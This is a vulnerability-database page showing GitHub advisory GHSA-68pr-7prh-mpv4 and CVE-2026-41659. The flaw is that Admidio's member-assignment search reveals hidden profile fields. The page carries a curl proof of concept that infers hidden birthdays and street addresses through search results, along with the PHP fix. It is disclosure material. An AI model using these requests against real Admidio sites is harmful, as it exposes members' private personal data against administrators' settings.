Vulnerability-Lookup

GHSA-68PR-7PRH-MPV4

Vulnerability from github – Published: 2026-04-29 21:47 – Updated: 2026-05-08 20:13

Summary

Admidio Leaks Hidden Profile Field Values via Blind Search Oracle in Member Assignment

Details

Summary

The member assignment DataTables endpoint (members_assignment_data.php) includes hidden profile fields (BIRTHDAY, STREET, CITY, POSTCODE, COUNTRY) in its SQL search condition regardless of field visibility settings. While the JSON output correctly suppresses hidden columns via isVisible() checks, the server-side search operates at the SQL level before any visibility filtering. This allows a role leader with assign-only permissions to infer hidden PII values by observing which users appear in search results for specific values.

Details

The search columns are hardcoded at modules/groups-roles/members_assignment_data.php:118-126:

$searchColumns = array(
    'COALESCE(last_name, \' \')',
    'COALESCE(first_name, \' \')',
    'COALESCE(birthday, \' \')',    // hidden field - no visibility check
    'COALESCE(street, \' \')',      // hidden field - no visibility check
    'COALESCE(city, \' \')',        // hidden field - no visibility check
    'COALESCE(zip_code, \' \')',    // hidden field - no visibility check
    'COALESCE(country, \' \')'      // hidden field - no visibility check
);

These columns are concatenated into a SQL LIKE search at line 139:

$searchCondition .= ' AND LOWER(CONCAT(' . implode(', ', $searchColumns) . ')) LIKE LOWER(CONCAT(\'%\', ' . $searchValue . ', \'%\')) ';

The SQL query at lines 200-235 fetches all these fields via LEFT JOINs on adm_user_data, and the search condition is applied as a subquery filter at lines 258-262:

$sql = 'SELECT usr_id, usr_uuid, last_name, first_name, birthday, city, street, zip_code, country, ...
      FROM (' . $mainSql . ') AS members
       ' . $searchCondition . $orderCondition . $limitCondition;

The output visibility checks at lines 291-335 correctly call $gProfileFields->isVisible('BIRTHDAY', $gCurrentUser->isAdministratorUsers()), which returns false when usf_hidden=1 and the user is not an admin. However, this only controls whether the column appears in the JSON response — the result set has already been filtered by the search.

The authorization check at line 77 uses allowedToAssignMembers() (src/Roles/Entity/Role.php:98-121), which passes for role leaders with ROLE_LEADER_MEMBERS_ASSIGN (value 1). These leaders do not have isAdministratorUsers() privileges, so isVisible() returns false for hidden fields — but the search still operates on them.

PoC

# Prerequisites:
# - Authenticated as a role leader with ROLE_LEADER_MEMBERS_ASSIGN rights
# - BIRTHDAY field is configured as hidden (usf_hidden = 1)
# - Target role has a known UUID

# Step 1: Baseline - get all members without search filter
curl -b 'PHPSESSID=<session>' \
  'https://target/adm_program/modules/groups-roles/members_assignment_data.php?role_uuid=<ROLE_UUID>&draw=1&start=0&length=25&search%5Bvalue%5D='

# Response: returns all users. Birthday column is NOT in output (hidden).
# Note recordsFiltered count.

# Step 2: Search for a specific birthday value
curl -b 'PHPSESSID=<session>' \
  'https://target/adm_program/modules/groups-roles/members_assignment_data.php?role_uuid=<ROLE_UUID>&draw=1&start=0&length=25&search%5Bvalue%5D=1990-03-15'

# Response: only users whose hidden birthday matches "1990-03-15" appear.
# Birthday column is still NOT in output, but result set is filtered by it.
# User names (always visible) reveal which users have that birthday.

# Step 3: Enumerate hidden street addresses
curl -b 'PHPSESSID=<session>' \
  'https://target/adm_program/modules/groups-roles/members_assignment_data.php?role_uuid=<ROLE_UUID>&draw=1&start=0&length=25&search%5Bvalue%5D=123+Main+St'

# Response: only users living at "123 Main St" appear in results.
# Address fields are hidden in output but the search matched against them.

Impact

A role leader with assign-only permissions (the lowest leader privilege level) can extract hidden PII for all organization members including:

Birthdays — exact date of birth for any user
Street addresses — full street address
Cities and postal codes — location information
Countries — nationality/residence

This is a blind oracle attack: hidden field values are never displayed, but by searching for specific values and observing the filtered result set (user names and recordsFiltered count), an attacker can determine which users match any hidden field value. This defeats the administrator's intent in marking these fields as hidden.

Recommended Fix

Filter search columns by visibility before constructing the SQL search condition. Replace lines 118-126 with:

$searchColumns = array(
    'COALESCE(last_name, \' \')',
    'COALESCE(first_name, \' \')',
);

$isAdmin = $gCurrentUser->isAdministratorUsers();
if ($gProfileFields->isVisible('BIRTHDAY', $isAdmin)) {
    $searchColumns[] = 'COALESCE(birthday, \' \')';
}
if ($gProfileFields->isVisible('STREET', $isAdmin)) {
    $searchColumns[] = 'COALESCE(street, \' \')';
}
if ($gProfileFields->isVisible('CITY', $isAdmin)) {
    $searchColumns[] = 'COALESCE(city, \' \')';
}
if ($gProfileFields->isVisible('POSTCODE', $isAdmin)) {
    $searchColumns[] = 'COALESCE(zip_code, \' \')';
}
if ($gProfileFields->isVisible('COUNTRY', $isAdmin)) {
    $searchColumns[] = 'COALESCE(country, \' \')';
}

This ensures the SQL search only operates on fields the current user is authorized to see, matching the behavior of the output visibility checks.

Severity ?

2.7 (Low)


                  
                    CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.0.8"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "admidio/admidio"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.0.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41659"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-29T21:47:29Z",
    "nvd_published_at": "2026-05-07T04:16:29Z",
    "severity": "LOW"
  },
  "details": "## Summary\n\nThe member assignment DataTables endpoint (`members_assignment_data.php`) includes hidden profile fields (BIRTHDAY, STREET, CITY, POSTCODE, COUNTRY) in its SQL search condition regardless of field visibility settings. While the JSON output correctly suppresses hidden columns via `isVisible()` checks, the server-side search operates at the SQL level before any visibility filtering. This allows a role leader with assign-only permissions to infer hidden PII values by observing which users appear in search results for specific values.\n\n## Details\n\nThe search columns are hardcoded at `modules/groups-roles/members_assignment_data.php:118-126`:\n\n```php\n$searchColumns = array(\n    \u0027COALESCE(last_name, \\\u0027 \\\u0027)\u0027,\n    \u0027COALESCE(first_name, \\\u0027 \\\u0027)\u0027,\n    \u0027COALESCE(birthday, \\\u0027 \\\u0027)\u0027,    // hidden field - no visibility check\n    \u0027COALESCE(street, \\\u0027 \\\u0027)\u0027,      // hidden field - no visibility check\n    \u0027COALESCE(city, \\\u0027 \\\u0027)\u0027,        // hidden field - no visibility check\n    \u0027COALESCE(zip_code, \\\u0027 \\\u0027)\u0027,    // hidden field - no visibility check\n    \u0027COALESCE(country, \\\u0027 \\\u0027)\u0027      // hidden field - no visibility check\n);\n```\n\nThese columns are concatenated into a SQL LIKE search at line 139:\n\n```php\n$searchCondition .= \u0027 AND LOWER(CONCAT(\u0027 . implode(\u0027, \u0027, $searchColumns) . \u0027)) LIKE LOWER(CONCAT(\\\u0027%\\\u0027, \u0027 . $searchValue . \u0027, \\\u0027%\\\u0027)) \u0027;\n```\n\nThe SQL query at lines 200-235 fetches all these fields via LEFT JOINs on `adm_user_data`, and the search condition is applied as a subquery filter at lines 258-262:\n\n```php\n$sql = \u0027SELECT usr_id, usr_uuid, last_name, first_name, birthday, city, street, zip_code, country, ...\n      FROM (\u0027 . $mainSql . \u0027) AS members\n       \u0027 . $searchCondition . $orderCondition . $limitCondition;\n```\n\nThe output visibility checks at lines 291-335 correctly call `$gProfileFields-\u003eisVisible(\u0027BIRTHDAY\u0027, $gCurrentUser-\u003eisAdministratorUsers())`, which returns `false` when `usf_hidden=1` and the user is not an admin. However, this only controls whether the column appears in the JSON response \u2014 the result set has already been filtered by the search.\n\nThe authorization check at line 77 uses `allowedToAssignMembers()` (`src/Roles/Entity/Role.php:98-121`), which passes for role leaders with `ROLE_LEADER_MEMBERS_ASSIGN` (value 1). These leaders do not have `isAdministratorUsers()` privileges, so `isVisible()` returns false for hidden fields \u2014 but the search still operates on them.\n\n## PoC\n\n```bash\n# Prerequisites:\n# - Authenticated as a role leader with ROLE_LEADER_MEMBERS_ASSIGN rights\n# - BIRTHDAY field is configured as hidden (usf_hidden = 1)\n# - Target role has a known UUID\n\n# Step 1: Baseline - get all members without search filter\ncurl -b \u0027PHPSESSID=\u003csession\u003e\u0027 \\\n  \u0027https://target/adm_program/modules/groups-roles/members_assignment_data.php?role_uuid=\u003cROLE_UUID\u003e\u0026draw=1\u0026start=0\u0026length=25\u0026search%5Bvalue%5D=\u0027\n\n# Response: returns all users. Birthday column is NOT in output (hidden).\n# Note recordsFiltered count.\n\n# Step 2: Search for a specific birthday value\ncurl -b \u0027PHPSESSID=\u003csession\u003e\u0027 \\\n  \u0027https://target/adm_program/modules/groups-roles/members_assignment_data.php?role_uuid=\u003cROLE_UUID\u003e\u0026draw=1\u0026start=0\u0026length=25\u0026search%5Bvalue%5D=1990-03-15\u0027\n\n# Response: only users whose hidden birthday matches \"1990-03-15\" appear.\n# Birthday column is still NOT in output, but result set is filtered by it.\n# User names (always visible) reveal which users have that birthday.\n\n# Step 3: Enumerate hidden street addresses\ncurl -b \u0027PHPSESSID=\u003csession\u003e\u0027 \\\n  \u0027https://target/adm_program/modules/groups-roles/members_assignment_data.php?role_uuid=\u003cROLE_UUID\u003e\u0026draw=1\u0026start=0\u0026length=25\u0026search%5Bvalue%5D=123+Main+St\u0027\n\n# Response: only users living at \"123 Main St\" appear in results.\n# Address fields are hidden in output but the search matched against them.\n```\n\n## Impact\n\nA role leader with assign-only permissions (the lowest leader privilege level) can extract hidden PII for all organization members including:\n\n- **Birthdays** \u2014 exact date of birth for any user\n- **Street addresses** \u2014 full street address\n- **Cities and postal codes** \u2014 location information\n- **Countries** \u2014 nationality/residence\n\nThis is a blind oracle attack: hidden field values are never displayed, but by searching for specific values and observing the filtered result set (user names and `recordsFiltered` count), an attacker can determine which users match any hidden field value. This defeats the administrator\u0027s intent in marking these fields as hidden.\n\n## Recommended Fix\n\nFilter search columns by visibility before constructing the SQL search condition. Replace lines 118-126 with:\n\n```php\n$searchColumns = array(\n    \u0027COALESCE(last_name, \\\u0027 \\\u0027)\u0027,\n    \u0027COALESCE(first_name, \\\u0027 \\\u0027)\u0027,\n);\n\n$isAdmin = $gCurrentUser-\u003eisAdministratorUsers();\nif ($gProfileFields-\u003eisVisible(\u0027BIRTHDAY\u0027, $isAdmin)) {\n    $searchColumns[] = \u0027COALESCE(birthday, \\\u0027 \\\u0027)\u0027;\n}\nif ($gProfileFields-\u003eisVisible(\u0027STREET\u0027, $isAdmin)) {\n    $searchColumns[] = \u0027COALESCE(street, \\\u0027 \\\u0027)\u0027;\n}\nif ($gProfileFields-\u003eisVisible(\u0027CITY\u0027, $isAdmin)) {\n    $searchColumns[] = \u0027COALESCE(city, \\\u0027 \\\u0027)\u0027;\n}\nif ($gProfileFields-\u003eisVisible(\u0027POSTCODE\u0027, $isAdmin)) {\n    $searchColumns[] = \u0027COALESCE(zip_code, \\\u0027 \\\u0027)\u0027;\n}\nif ($gProfileFields-\u003eisVisible(\u0027COUNTRY\u0027, $isAdmin)) {\n    $searchColumns[] = \u0027COALESCE(country, \\\u0027 \\\u0027)\u0027;\n}\n```\n\nThis ensures the SQL search only operates on fields the current user is authorized to see, matching the behavior of the output visibility checks.",
  "id": "GHSA-68pr-7prh-mpv4",
  "modified": "2026-05-08T20:13:48Z",
  "published": "2026-04-29T21:47:29Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Admidio/admidio/security/advisories/GHSA-68pr-7prh-mpv4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41659"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Admidio/admidio"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Admidio/admidio/releases/tag/v5.0.9"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Admidio Leaks Hidden Profile Field Values via Blind Search Oracle in Member Assignment"
}

CVE-2026-41659 (GCVE-0-2026-41659)

Vulnerability from cvelistv5 – Published: 2026-05-07 02:59 – Updated: 2026-05-07 13:44

Title

Admidio: Hidden Profile Field Values Leaked via Blind Search Oracle in Member Assignment

Summary

Admidio is an open-source user management solution. Prior to version 5.0.9, the member assignment DataTables endpoint (members_assignment_data.php) includes hidden profile fields (BIRTHDAY, STREET, CITY, POSTCODE, COUNTRY) in its SQL search condition regardless of field visibility settings. While the JSON output correctly suppresses hidden columns via isVisible() checks, the server-side search operates at the SQL level before any visibility filtering. This allows a role leader with assign-only permissions to infer hidden PII values by observing which users appear in search results for specific values. This issue has been patched in version 5.0.9.

Severity ?

2.7 (Low)


                        
                          CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N

CWE

CWE-200 - Exposure of Sensitive Information to an Unauthorized Actor

Assigner

GitHub_M

References

URL

Tags

	https://github.com/Admidio/admidio/security/advis…	x_refsource_CONFIRM
	https://github.com/Admidio/admidio/releases/tag/v5.0.9	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	Admidio	admidio	Affected: < 5.0.9

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-41659",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-05-07T13:44:39.410024Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-07T13:44:42.872Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/Admidio/admidio/security/advisories/GHSA-68pr-7prh-mpv4"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "admidio",
          "vendor": "Admidio",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 5.0.9"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Admidio is an open-source user management solution. Prior to version 5.0.9, the member assignment DataTables endpoint (members_assignment_data.php) includes hidden profile fields (BIRTHDAY, STREET, CITY, POSTCODE, COUNTRY) in its SQL search condition regardless of field visibility settings. While the JSON output correctly suppresses hidden columns via isVisible() checks, the server-side search operates at the SQL level before any visibility filtering. This allows a role leader with assign-only permissions to infer hidden PII values by observing which users appear in search results for specific values. This issue has been patched in version 5.0.9."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 2.7,
            "baseSeverity": "LOW",
            "confidentialityImpact": "LOW",
            "integrityImpact": "NONE",
            "privilegesRequired": "HIGH",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-200",
              "description": "CWE-200: Exposure of Sensitive Information to an Unauthorized Actor",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-07T02:59:19.870Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/Admidio/admidio/security/advisories/GHSA-68pr-7prh-mpv4",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/Admidio/admidio/security/advisories/GHSA-68pr-7prh-mpv4"
        },
        {
          "name": "https://github.com/Admidio/admidio/releases/tag/v5.0.9",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/Admidio/admidio/releases/tag/v5.0.9"
        }
      ],
      "source": {
        "advisory": "GHSA-68pr-7prh-mpv4",
        "discovery": "UNKNOWN"
      },
      "title": "Admidio: Hidden Profile Field Values Leaked via Blind Search Oracle in Member Assignment"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-41659",
    "datePublished": "2026-05-07T02:59:19.870Z",
    "dateReserved": "2026-04-21T23:58:43.803Z",
    "dateUpdated": "2026-05-07T13:44:42.872Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-68PR-7PRH-MPV4

Summary

Details

PoC

Impact

Recommended Fix

CVE-2026-41659 (GCVE-0-2026-41659)

Tags

Sightings

Nomenclature